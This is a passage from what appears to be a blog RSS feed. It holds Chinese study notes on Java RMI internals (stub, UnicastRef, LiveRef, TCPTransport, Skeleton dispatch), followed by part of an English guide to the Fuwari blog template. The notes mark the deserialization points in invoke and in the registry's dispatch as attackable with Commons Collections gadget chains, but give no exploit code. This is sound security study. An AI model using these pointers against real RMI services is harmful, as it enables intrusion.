&lt;p&gt;走到这里，调用 ref 的 invoke 方法，也就是 unicastref 的 invoke,通过本地的远程对象代理 stub 调用远程对象的方法。这里跟进 invoke 方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251126150414034.png&quot; alt=&quot;image-20251126150414034&quot; /&gt;&lt;/p&gt;
&lt;p&gt;会找到一个 unmarshalValue 的反序列化操作，并且上面有 marshalValue 序列化操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for(int var12 = 0; var12 &amp;lt; ((Object[])var11).length; ++var12) {
    marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 var 11,3,10 ，在上文&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251126150921040.png&quot; alt=&quot;image-20251126150921040&quot; /&gt;&lt;/p&gt;
&lt;p&gt;7 是一个流式远程调用对象，两个方法&lt;code&gt;ObjectOutputStream&lt;/code&gt;（写请求）&lt;code&gt;ObjectInputStream&lt;/code&gt;（等会读响应）&lt;/p&gt;
&lt;p&gt;6 是一个 tcp 连接对象（？？？）&lt;/p&gt;
&lt;p&gt;2 是传入的要调用的参数和方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251126152201053.png&quot; alt=&quot;image-20251126152201053&quot; /&gt;&lt;/p&gt;
&lt;p&gt;11 是读到的响应&lt;/p&gt;
&lt;p&gt;50 是去反序列化这个11得到的返回值 return var1.readObject();&lt;/p&gt;
&lt;p&gt;这里存在风险点。&lt;/p&gt;
&lt;h4&gt;6----------客户端调用注册中心，注册中心如何回复&lt;/h4&gt;
&lt;p&gt;存在客户端打注册中心，list不行。注册中心处理 Target，进行 Skel 的生成与处理。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251126193858114.png&quot; alt=&quot;image-20251126193858114&quot; /&gt;&lt;/p&gt;
&lt;p&gt;（后续没继续看了）&lt;/p&gt;
&lt;p&gt;漏洞点是在 下面的 dispatch里，存在反序列化的入口类。这里可以结合 CC 链子打的。&lt;/p&gt;
&lt;h4&gt;7----------客户端发起请求，服务端的回复&lt;/h4&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h4&gt;n----------期间遇到的问题&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251114185252187.png&quot; alt=&quot;image-20251114185252187&quot; /&gt;&lt;/p&gt;
&lt;p&gt;报错：&lt;code&gt;Exception in thread &quot;main&quot; java.rmi.server.ExportException: object already exported&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;java&lt;/code&gt; 在构造方法里，&lt;strong&gt;第一条语句&lt;/strong&gt;要么是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;this(...)&lt;/code&gt; 调用本类另一个构造器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;super(...)&lt;/code&gt; 调用父类构造器&lt;/li&gt;
&lt;li&gt;如果两者都不写，编译器自动加上：&lt;code&gt;super();&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;修复：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251114185712512.png&quot; alt=&quot;image-20251114185712512&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251114185723605.png&quot; alt=&quot;image-20251114185723605&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;n+1----------Ref 类 和 TcpTransport 类的一些不清楚的内容&lt;/h4&gt;
&lt;h5&gt;1.LiveRef&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;strong&gt;服务端&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;被 &lt;code&gt;UnicastServerRef&lt;/code&gt; 使用，告诉它“这个对象监听在哪个 host:port，ObjID 是多少”&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在 &lt;strong&gt;客户端 stub 里&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;UnicastRef&lt;/code&gt;（实现 &lt;code&gt;RemoteRef&lt;/code&gt; 的那个类）内部也持有一个 &lt;code&gt;LiveRef&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;stub 调用远程方法时，会从 &lt;code&gt;LiveRef&lt;/code&gt; 里拿 host、port、ObjID → 建立连接、发请求&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;2.UnicastRef 客户端&lt;/h5&gt;
&lt;p&gt;通常在 stub（代理）里面有一个 &lt;code&gt;RemoteRef ref&lt;/code&gt; 字段，真实运行时就是 &lt;code&gt;UnicastRef&lt;/code&gt; 实例&lt;/p&gt;
&lt;p&gt;包含一个 LiveRef ref 实例&lt;/p&gt;
&lt;p&gt;知道“这个远程对象在哪儿”（通过内部 &lt;code&gt;LiveRef&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;通过 &lt;code&gt;ref.getChannel().newConnection()&lt;/code&gt; &lt;strong&gt;找到对应的 Transport，并拿一个 Connection（底层 socket）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;把方法、参数序列化成 RMI 协议数据写出去&lt;/p&gt;
&lt;p&gt;等服务端返回结果，再反序列化出来&lt;/p&gt;
&lt;h5&gt;3.UnicastServerRef 服务端&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;服务端 Reference：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它是“这个远程对象在服务端这边的引用”，包含：
&lt;ul&gt;
&lt;li&gt;那个 &lt;code&gt;LiveRef&lt;/code&gt;（host:port + ObjID）&lt;/li&gt;
&lt;li&gt;知道用哪个 Transport（&lt;code&gt;TCPTransport&lt;/code&gt;）处理调用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;负责 export/unexport：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;方法：&lt;code&gt;exportObject(impl, stub)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;把实现类 &lt;code&gt;impl&lt;/code&gt; 封装进 &lt;code&gt;Target&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;TCPTransport.exportObject(target)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;在指定端口上监听&lt;/li&gt;
&lt;li&gt;把 &lt;code&gt;ObjID -&amp;gt; Target&lt;/code&gt; 放进 &lt;code&gt;ObjectTable&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;负责 dispatch 调用：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实现 &lt;code&gt;Dispatcher&lt;/code&gt; 接口，比如 &lt;code&gt;dispatch(Remote obj, RemoteCall call)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;当 &lt;code&gt;TCPTransport&lt;/code&gt; 收到调用（包含 ObjID、方法号、参数）后，会：
&lt;ul&gt;
&lt;li&gt;找到 &lt;code&gt;Target&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;调 &lt;code&gt;target.disp.dispatch(...)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UnicastServerRef&lt;/code&gt; 在里面：
&lt;ul&gt;
&lt;li&gt;反序列化参数&lt;/li&gt;
&lt;li&gt;反射调用 &lt;code&gt;impl&lt;/code&gt; 上对应的远程方法&lt;/li&gt;
&lt;li&gt;把返回值/异常写回网络&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;4.stub&lt;/h5&gt;
&lt;p&gt;stub → &lt;code&gt;UnicastRef&lt;/code&gt; → &lt;code&gt;LiveRef&lt;/code&gt; → &lt;code&gt;TCPEndpoint(host, port)&lt;/code&gt; + &lt;code&gt;ObjID&lt;/code&gt; + Channel(→TCPTransport)&lt;/p&gt;
&lt;h5&gt;5. Transport&lt;/h5&gt;
&lt;h5&gt;6. TCPConnection&lt;/h5&gt;
&lt;p&gt;对 Socket 的封装，实现一些读取和写入数据的方法，便于操作不同的 socket&lt;/p&gt;
&lt;h5&gt;7. TCPChannel&lt;/h5&gt;
&lt;p&gt;包含一个 &lt;code&gt;Endpoint&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;若干条指向该 Endpoint 的 &lt;code&gt;Connection&lt;/code&gt;（连接池 / 可复用）&lt;/p&gt;
&lt;h5&gt;8. endpoint&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;host&lt;/code&gt;：对端主机（或本机）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;port&lt;/code&gt;：端口&lt;/p&gt;
&lt;p&gt;&lt;code&gt;clientSocketFactory&lt;/code&gt; / &lt;code&gt;serverSocketFactory&lt;/code&gt;：用什么方式 new Socket / ServerSocket（普通 TCP、SSL、自定义超时等）这样想调用一个 加密连接可以直接创建一个 sslsocket&lt;/p&gt;
&lt;h4&gt;n+2----------Skel 在什么阶段生成的&lt;/h4&gt;
&lt;p&gt;Skel实例是在“服务器导出远程对象（exportObject）时创建的，挂到这个对象的 &lt;code&gt;UnicastServerRef&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Deprecated
public interface Skeleton {
    @Deprecated
    void dispatch(Remote obj, RemoteCall theCall, int opnum, long hash)
        throws Exception;

    @Deprecated
    Operation[] getOperations();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.RMI---------------------------总结&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RemoteObj remoteObj = new RemoteObjImpl();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;远程新建对象时，如果对象继承自 UnicastRemoteObject , 会封装一个 target 和 weakref 分别放进 objTable 和 implTable ，key 为 unique ObjID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251127214559918.png&quot; alt=&quot;image-20251127214559918&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Registry registry = LocateRegistry.createRegistry(1099);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251128124225322.png&quot; alt=&quot;image-20251128124225322&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251128125641775.png&quot; alt=&quot;image-20251128125641775&quot; /&gt;&lt;/p&gt;
&lt;p&gt;服务端创建 Registry 返回客户端的也是一个 stub   &lt;code&gt;RegistryImpl_Stub&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251128125832783.png&quot; alt=&quot;image-20251128125832783&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251128125942588.png&quot; alt=&quot;image-20251128125942588&quot; /&gt;&lt;/p&gt;
&lt;p&gt;给 registryimpl create skel 可以与返回到 server 端的 registry_stub 通信。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;registry.bind(&quot;remoteObj&quot;,remoteObj);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251128131254293.png&quot; alt=&quot;image-20251128131254293&quot; /&gt;&lt;/p&gt;
&lt;p&gt;放进 &lt;code&gt;Hashtable&amp;lt;String, Remote&amp;gt; bindings&lt;/code&gt; 表中&lt;/p&gt;
&lt;p&gt;服务端做完了，接下来是客户端做了什么，（但是客户端法请求时，服务端怎么回复的，不会调试，就是客户端一句一句执行，服务端跳转到相关代码处）&lt;/p&gt;
&lt;p&gt;貌似会了，先给想调试的地方打个断点，server 开 debug 然后 client 运行一下，回头看 server 会跳转到代码处。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;LiveRef.exportObject(target)&lt;/code&gt; 里会调用到 &lt;code&gt;TCPTransport.exportObject(target)&lt;/code&gt;，把这个 Target 加入表，并保证该端口上已经有 &lt;code&gt;TCPTransport&lt;/code&gt; 在 accept 连接。&lt;/p&gt;
&lt;p&gt;所以在客户端调用之前，服务端的状态是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某个端口（如 1099 / 42365）已经由 &lt;code&gt;TCPTransport&lt;/code&gt; 在监听；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ObjectTable&lt;/code&gt; 里有一条记录：&lt;code&gt;ObjID → Target(impl, dispatcher=UnicastServerRef, stub, ...)&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;客户端 stub 调用远程方法时，会最终走到 &lt;code&gt;UnicastRef.invoke&lt;/code&gt;，它会通过 &lt;code&gt;LiveRef&lt;/code&gt; 建立到服务端的 TCP 连接，把调用信息写到输出流，然后阻塞等待返回。&lt;/p&gt;
&lt;p&gt;服务端这一侧，网络连接被监听的线程收到了一个新连接，这个线程是 &lt;code&gt;TCPTransport&lt;/code&gt; 内部的 accept 线程，接受连接后交给一个（或从池里取出）工作线程来处理：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251128205436866.png&quot; alt=&quot;image-20251128205436866&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一开始是 Thread 。&lt;/p&gt;
&lt;p&gt;TransportConstants.Call    = 0x50 = 80  // 普通远程调用
TransportConstants.Ping    = 0x52 = 82  // 心跳
TransportConstants.DgcAck  = 0x54 = 84  // DGC 的 ack&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image-20251128215854970.png&quot; alt=&quot;image-20251128215854970&quot; /&gt;&lt;/p&gt;
&lt;p&gt;到这后面的代码跟不进去，不知道怎么调试进去，目前刚刚清楚整个 RMI 调用流程。&lt;/p&gt;
&lt;p&gt;服务端绑定注册中心，发布 stub 上去，客户端请求后拿到 stub 然后和 服务端的 skel 通信拿到数据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;参考资料&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://drun1baby.top/2022/07/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9801-RMI%E5%9F%BA%E7%A1%80/&lt;/p&gt;
&lt;p&gt;https://drun1baby.github.io/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F/&lt;/p&gt;
</content:encoded></item><item><title>Simple Guides for Fuwari</title><link>https://fuwari.vercel.app/posts/post1-guide/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post1-guide/</guid><description>How to use this blog template.</description><pubDate>Tue, 18 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/208fc754-890d-4adb-9753-2c963332675d/width=2048/01651-1456859105-(colour_1.5),girl,_Blue,yellow,green,cyan,purple,red,pink,_best,8k,UHD,masterpiece,male%20focus,%201boy,gloves,%20ponytail,%20long%20hair,.jpeg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This blog template is built with &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt;. For the things that are not mentioned in this guide, you may find the answers in the &lt;a href=&quot;https://docs.astro.build/&quot;&gt;Astro Docs&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Front-matter of Posts&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;---
title: My First Blog Post
published: 2023-09-09
description: This is the first post of my new Astro blog.
image: ./cover.jpg
tags: [Foo, Bar]
category: Front-end
draft: false
---
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;title&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The title of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;published&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The date the post was published.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A short description of the post. Displayed on index page.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;image&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The cover image path of the post.&amp;lt;br/&amp;gt;1. Start with &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt;: Use web image&amp;lt;br/&amp;gt;2. Start with &lt;code&gt;/&lt;/code&gt;: For image in &lt;code&gt;public&lt;/code&gt; dir&amp;lt;br/&amp;gt;3. With none of the prefixes: Relative to the markdown file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The tags of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;category&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The category of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;draft&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;If this post is still a draft, which won&apos;t be displayed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Where to Place the Post Files&lt;/h2&gt;
&lt;p&gt;Your post files should be placed in &lt;code&gt;src/content/posts/&lt;/code&gt; directory. You can also create sub-directories to better organize your posts and assets.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;src/content/posts/
├── post-1.md
└── post-2/
    ├── cover.png
    └── index.md
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>